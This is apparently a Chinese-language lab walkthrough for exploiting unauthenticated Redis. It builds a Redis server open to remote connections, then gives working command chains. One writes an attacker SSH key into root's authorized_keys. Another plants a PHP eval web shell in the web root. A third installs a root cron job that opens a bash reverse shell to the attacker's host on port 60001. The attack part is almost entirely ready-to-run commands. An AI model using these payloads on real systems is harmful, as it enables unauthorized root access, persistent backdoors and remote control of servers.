wget http://download.redis.io/releases/redis-4.0.9.tar.gz tar -zxvf redis-4.0.9.tar.gz cd redis-4.0.9 make make test make install
修改redis配置文件
1
gedit redis.conf
找到bind 127.0.0.1修改为bind 0.0.0.0,使redis允许远程连接
启动redis
1
redis-server redis.conf
这样就算启动成功了
0x01 写公钥
需要root权限启动的redis
首先使用命令生成密钥,这里我是用kali作为攻击机
1
ssh-keygen
然后一直回车就行了,之后会在/root/.ssh生成公钥和私钥
1 2 3 4 5 6
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt|redis-cli -h IP -p PORT -x set key redis-cli -h IP -p PORT config set dir /root/.ssh/ config set dbfilename "authorized_keys" save
redis-cli -h 192.168.163.132 -p 6379 config set dir /var/www/html/ config set dbfilename "shell.php" set key "\n\n<?php eval($_POST[pass]); ?>\n\n" save
redis-cli -h 192.168.163.130 -p 6379 config set dir /var/spool/cron config set dbfilename "root" set key "\n\n* * * * * bash -i >& /dev/tcp/192.168.163.128/60001 0>&1\n\n" save
执行完之后监听60001端口就可以获得shell
使用centos复现,安装redis
1 2 3 4 5 6 7 8 9 10 11 12 13
yum install -y epel-release yum install -y gcc wget http://download.redis.io/releases/redis-4.0.1.tar.gz tar -zxvf redis-4.0.1.tar.gz cd redis-4.0.1 cd deps make hiredis make jemalloc make linenoise make lua cd .. make make install